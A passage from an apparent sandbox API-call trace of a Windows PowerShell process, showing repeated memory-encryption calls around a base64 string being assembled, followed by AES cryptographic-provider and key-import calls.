(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0132.972] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0132.972] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0132.972] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0132.973] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0132.973] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0132.973] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0132.973] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0132.973] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0132.973] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0132.973] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0132.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0132.973] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0132.973] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0132.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0132.974] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.974] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0132.974] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0132.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.032] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.033] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.033] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.033] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.033] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.033] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.033] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.033] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.033] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.034] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.034] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.034] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.034] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.034] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.034] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.034] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.035] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.035] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.035] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.035] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.035] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.035] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.035] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.035] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.036] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.036] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.036] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.036] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.036] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.036] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.036] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.036] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.036] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.036] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.037] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0133.037] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.037] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.037] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.037] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.037] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.037] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.037] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.038] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.038] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.038] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.038] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.039] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396570) returned 1 [0133.039] CryptImportKey (in: hProv=0x4396570, pbData=0x69b306c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84db8) returned 1 [0133.039] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.039] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.039] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.039] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: 